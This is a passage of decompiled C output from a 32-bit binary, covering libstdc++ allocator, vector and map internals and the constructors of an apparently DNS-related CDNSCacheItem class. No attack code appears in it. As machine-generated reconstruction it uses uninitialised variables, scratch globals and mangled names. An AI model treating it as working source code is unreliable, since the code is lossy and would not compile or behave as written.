0x8056dd2 int32_t * v4; result = _Znwj(v2, v2, (int32_t)v4); // branch -> 0x8056eb5 // 0x8056eb5 return result; } int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8056df8 int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x8056e09 int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x8056e1d_4 int32_t * v8 = *v7; // 0x8056e36 if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) { // 0x8056e98 result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6); // branch -> 0x8056eb5 } else { int32_t * v9 = *v7; // 0x8056e4f *v7 = (int32_t *)*v9; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9); int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x8056e90 result = v10; // branch -> 0x8056eb5 } // 0x8056eb5 return result; } // Address range: 0x8056eba - 0x8056ed5 int32_t std___Vector_base_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt____M_allocate(int32_t * a1, int32_t * a2) { // 0x8056eba return __gnu_cxx____mt_alloc_lt_unsigned_int_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2); } // Address range: 0x8056ed6 - 0x8056ef9 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___begin(int32_t ** a1, int32_t * a2) { int32_t v1 = *(int32_t *)((int32_t)a2 + 12); // 0x8056ee3 std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(a1, (int32_t *)v1); return (int32_t)a1; } // Address range: 0x8056efc - 0x8056f15 int32_t std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(int32_t * a1, int32_t * a2, char * a3) { int32_t result = (int32_t)a1; // 0x8056f04 *a1 = *a2; *(char *)(result + 4) = *a3; return result; } // Address range: 0x8056f16 - 0x8056f39 int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__(int32_t * a1) { // 0x8056f16 *a1 = std___Rb_tree_increment(*a1); return (int32_t)a1; } // Address range: 0x8056f3a - 0x8056f87 int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x8056f48 int32_t v2 = v1 - v1 % 4; // 0x8056f55 int32_t v3 = (int32_t)a3; // 0x8056f64 int32_t result = v3 - v2; // 0x8056f67 memmove((int32_t *)result, a1, v2); g95 = v3; return result; } // Address range: 0x8056f88 - 0x8056fa7 void std____copy_backward_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8056f88 std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_unsigned_int_gt_(a1, a2, a3); } // Address range: 0x8056fa8 - 0x8057011 int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x8056fc3 int32_t * v4; __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___base(a2); std____copy_backward_aux_lt_unsigned_int__ptr__comma__unsigned_int__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x8057014 - 0x805704f int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { // 0x8057014 g101 = (int32_t)a1; int32_t * v1; std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_unsigned_int__ptr__comma__std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___gt___gt_(v1, a2); *(int32_t *)g101 = (int32_t)v1; return g101; } // Address range: 0x8057050 - 0x8057097 int32_t std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x805705e g96 = v1; int32_t v2 = v1 / 4; // 0x8057062 g95 = v2; if (v1 <= 3) { // 0x8057092 return (int32_t)a3; } int32_t * v3 = (int32_t *)((int32_t)a3 - 4); // 0x8057073_3 std__string__operator_eq__675(); while (v2 > 1) { // 0x805706a v2--; v3 = (int32_t *)((int32_t)v3 - 4); std__string__operator_eq__675(); // continue -> 0x805706a } // 0x8057092 return (int32_t)v3; } // Address range: 0x8057098 - 0x80570b7 void std____copy_backward_aux_lt_std__string__ptr__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8057098 std____copy_backward_lt_false_comma__std__random_access_iterator_tag_gt___copy_b_lt_std__string__ptr__comma__std__string__ptr__gt_(a1, a2, a3); } // Address range: 0x80570b8 - 0x8057121 int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x80570d3 int32_t * v4; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(a2); std____copy_backward_aux_lt_std__string__ptr__comma__std__string__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x8057124 - 0x805715f int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8057127 g101 = (int32_t)a1; int32_t * v2; std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8057154 g101 = v1; return result; } // Address range: 0x8057160 - 0x8057183 int32_t std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator___133(int32_t * a1) { int32_t v1 = *a1; // bp-28 int32_t v2; *a1 = std___Rb_tree_decrement((struct struct_94 *)&v1, v2, 0); return (int32_t)a1; } // Address range: 0x8057184 - 0x8057199 int32_t std___Destroy_lt_std__string_gt_(int32_t a1) { int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&a1); // 0x8057190 return result; } // Address range: 0x805719a - 0x80571bd int32_t std____destroy_aux_lt_std__string__ptr__gt_(int32_t a1, int32_t result) { // 0x805719a if (a1 == result) { // 0x80571bc return result; } std___Destroy_lt_std__string_gt_(a1); while (a1 + 4 != result) { // 0x80571a2 a1 += 4; std___Destroy_lt_std__string_gt_(a1); // continue -> 0x80571a2 } // 0x80571bc return result; } // Address range: 0x80571be - 0x80571df int32_t std___Destroy_lt_std__string__ptr__gt_(int32_t a1, int32_t result, int32_t a3) { // 0x80571be unsigned char v1; g95 = g95 & -256 | (int32_t)v1; std____destroy_aux_lt_std__string__ptr__gt_(a1, result); return result; } // Address range: 0x80571e0 - 0x8057289 int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1) { int32_t result; int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) == 0) { // 0x8057239 return result; } int32_t v2 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1); int32_t v3 = result; std___Construct_lt_std__string_comma__std__string_gt_(&v3, &v2); __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1); int32_t result2 = result + 4; // 0x805721f while (__gnu_cxx__operator_not__eq__lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a1, v1) != 0) { // 0x80571ef result = result2; v2 = __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a1); v3 = result; std___Construct_lt_std__string_comma__std__string_gt_(&v3, &v2); __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a1); result2 = result + 4; // continue -> 0x80571ef } // 0x8057239 return result2; } // Address range: 0x805728a - 0x80572ad int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3) { // 0x805728a unsigned char v1; g96 = g96 & -256 | (int32_t)v1; return std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(a1); } // Address range: 0x80572ae - 0x80572cb int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(int32_t * a1, int32_t * a2, struct struct_10 * a3) { // 0x80572ae return std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(a1, a2, a3); } // Address range: 0x80572cc - 0x805738d int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate_and_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t * a1, struct struct_10 * a2, int32_t * a3, int32_t * a4) { struct struct_3 * v1 = NULL; // bp-13 struct struct_10 * v2 = (struct struct_10 *)std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate(a1, a2); // bp-12 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, a1); g96 = (int32_t)a3; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(a3, a4, v2); std__allocator_lt_std__string_gt_(&v1->e0); return (int32_t)v2; } // Address range: 0x805738e - 0x805773f int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_(struct struct_12 * a1, int32_t ** a2) { struct struct_3 * v1 = NULL; // bp-73 struct struct_3 * v2 = NULL; // bp-57 struct struct_3 * v3 = NULL; // bp-33 int32_t v4 = g98; // 0x8057391 g95 = (int32_t)a2; if (&a1->e0 == a2) { // 0x8057738 g98 = v4; return (int32_t)a1; } struct struct_10 * v5 = (struct struct_10 *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(a2); // bp-16 int32_t v6 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___capacity((int32_t *)a1); // 0x80573bb int32_t v7; // 0x8057728 struct struct_12 * v8; // 0x8057725_0 if (((int32_t)((struct struct_10 *)v6 < v5) || v6 & -256) != 0) { // 0x80573d1 int32_t * v9; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v9, (int32_t *)a2); int32_t * v10; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v10, a2); struct struct_3 * v11 = (struct struct_3 *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate_and_copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_((int32_t *)a1, v5, v10, v9); // bp-12 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a1); int32_t * v12 = a1->e1; // 0x805742e struct struct_3 * v13 = (struct struct_3 *)*(int32_t *)a1; // 0x805743e_0 std___Destroy_lt_std__string__ptr__comma__std__allocator_lt_std__string_gt___gt_(&v13->e0, v12, &v1->e0); std__allocator_lt_std__string_gt_(&v1->e0); int32_t v14 = ((int32_t)a1->e2 - *(int32_t *)a1) / 4; // 0x805749a int32_t v15 = *(int32_t *)a1; // 0x80574a2 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v15, (int32_t *)v14); a1->e0 = &v11->e0; a1->e2 = (int32_t *)(4 * (int32_t)v5 + *(int32_t *)a1); // branch -> 0x8057725 // 0x8057725 v8 = a1; v7 = *(int32_t *)v8; g95 = (int32_t)v8; v8->e1 = (int32_t *)(4 * (int32_t)v5 + v7); // branch -> 0x8057738 // 0x8057738 g98 = v4; return (int32_t)a1; } int32_t v16 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x80574db if (((int32_t)((struct struct_10 *)v16 < v5) || v16 & -256) == 1) { // 0x80575da g98 = *(int32_t *)a1; int32_t v17 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x80575e5 int32_t * v18; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v18, a2); int32_t * v19; __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(v19, v18, (int32_t *)v17); int32_t * v20; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v20, a2); std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__gt_(v20, v19, (int32_t **)g98); std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v3, (int32_t *)a1); g98 = (int32_t)a1->e1; int32_t * v21; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v21, (int32_t *)a2); int32_t v22 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x8057686 int32_t * v23; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v23, a2); int32_t * v24; __gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_(v24, v23, (int32_t *)v22); std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(v24, v21, (struct struct_10 *)g98); std__allocator_lt_std__string_gt_(&v3->e0); // branch -> 0x8057725 } else { // 0x80574f1 int32_t * v25; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(v25, (int32_t *)a1); int32_t * v26; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v26, (int32_t *)a2); int32_t * v27; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v27, a2); int32_t ** v28; std__copy_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v28, v27, (int32_t **)v26, (struct struct_3 *)v25); std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v2, (int32_t *)a1); int32_t * v29; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(v29, (int32_t)a1); std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_((int32_t *)v28); std__allocator_lt_std__string_gt_(&v2->e0); // branch -> 0x8057725 } // 0x8057725 v8 = a1; v7 = *(int32_t *)v8; g95 = (int32_t)v8; v8->e1 = (int32_t *)(4 * (int32_t)v5 + v7); // branch -> 0x8057738 // 0x8057738 g98 = v4; return (int32_t)a1; } // Address range: 0x8057740 - 0x80577c9 int32_t CDNSCacheItem_134(int32_t * a1, int32_t ** a2) { struct struct_3 * v1 = NULL; // bp-9 std__allocator_lt_std__string_gt__42((int32_t)v1); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_((struct struct_3 *)a1, v1); std__allocator_lt_std__string_gt_(&v1->e0); *(int32_t *)((int32_t)a1 + 12) = time(&g2->e0); return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_((struct struct_12 *)a1, a2); } // Address range: 0x80577ca - 0x80577f3 int32_t CDNSCacheItem__operator_eq_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x80577d3 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_((struct struct_12 *)a1, (int32_t **)a2); *(int32_t *)(result + 12) = *(int32_t *)((int32_t)a2 + 12); return result; } // Address range: 0x80577f4 - 0x8057915 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135(struct struct_20 * a1, int32_t ** a2) { struct struct_3 * v1 = NULL; // bp-18 struct struct_3 * v2 = NULL; // bp-17 int32_t v3 = g98; // 0x80577f7 std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a2); g96 = (int32_t)a1; std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__124((struct struct_3 *)a1, std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(a2), (int32_t)v1); std__allocator_lt_std__string_gt_(&v1->e0); std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v2, (int32_t *)a1); g98 = *(int32_t *)a1; int32_t * v4; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end(v4, (int32_t *)a2); int32_t * v5; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin(v5, a2); int32_t v6 = std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string_const__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string__ptr__comma__std__string_gt_(v5, v4, (struct struct_10 *)g98); // 0x80578b9 a1->e1 = v6; int32_t result = std__allocator_lt_std__string_gt_(&v2->e0); // 0x80578ce g98 = v3; return result; } // Address range: 0x8057916 - 0x805793d int32_t CDNSCacheItem_136(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x805791f std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)a2); *(int32_t *)(result + 12) = *(int32_t *)((int32_t)a2 + 12); return result; } // Address range: 0x805793e - 0x8057995 int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__137(struct struct_3 * a1, int32_t a2, int32_t a3) { std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&a1->e0, &a2); a2 = a3; return CDNSCacheItem_136(&((struct struct_3 *)((int32_t)a1 + 4))->e0, &a2); } // Address range: 0x8057996 - 0x80579f3 int32_t std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__138(struct struct_3 * a1, int32_t a2) { int32_t v1 = a2; // bp-24 std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&a1->e0, &v1); v1 = a2 + 4; return CDNSCacheItem_136(&((struct struct_3 *)((int32_t)a1 + 4))->e0, &v1); } // Address range: 0x80579f4 - 0x8057a51 int32_t __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___construct(int32_t a1, int32_t * a2) { int32_t v1 = _ZnwjPv((int32_t *)20); // 0x8057a03 struct struct_3 * v2 = (struct struct_3 *)v1; // 0x8057a03_4 struct struct_3 * v3; // 0x8057a1d_5 if (v1 != 0) { // 0x8057a14 int32_t * v4; v3 = (struct struct_3 *)std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__138(v2, (int32_t)v4); // branch -> 0x8057a4c } else { v3 = v2; } // 0x8057a4c return (int32_t)v3; } // Address range: 0x8057a52 - 0x8057a9d int32_t std____destroy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(void) { // 0x8057a52 int32_t * v1; int32_t * v2; if (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v1, v2) == 0) { // 0x8057a9b return 0; } std___Destroy_lt_std__string_gt_(__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(v1)); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(v1); while (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v1, v2) != 0) { // 0x8057a5a std___Destroy_lt_std__string_gt_(__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(v1)); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(v1); // continue -> 0x8057a5a } // 0x8057a9b return 0; } // Address range: 0x8057ac2 - 0x8057b83 int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x8057acc int32_t * v1; *a1 = v1; int32_t * v2; if (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a2, v2) == 0) { // 0x8057b79 return result; } g98 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a2); std___Construct_lt_std__string_comma__std__string_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a2); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__((int32_t *)a1); while (__gnu_cxx__operator_not__eq__lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(a2, v2) != 0) { // 0x8057ad3 g98 = __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a2); std___Construct_lt_std__string_comma__std__string_gt_((int32_t *)__gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_((int32_t *)a1), (int32_t *)g98); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__(a2); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__((int32_t *)a1); // continue -> 0x8057ad3 } // 0x8057b79 return result; } // Address range: 0x8057b84 - 0x8057bc7 int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4) { int32_t v1 = g101; // 0x8057b87 g101 = (int32_t)a1; int32_t ** v2; std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8057bbc g101 = v1; return result; } // Address range: 0x8057bc8 - 0x8057bfb int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(int32_t ** a1, int32_t * a2, struct struct_10 * a3, int32_t * a4) { int32_t v1 = g101; // 0x8057bcb g101 = (int32_t)a1; int32_t ** v2; std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x8057bf0 g101 = v1; return result; } // Address range: 0x8057bfc - 0x8058079 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_insert_aux(struct 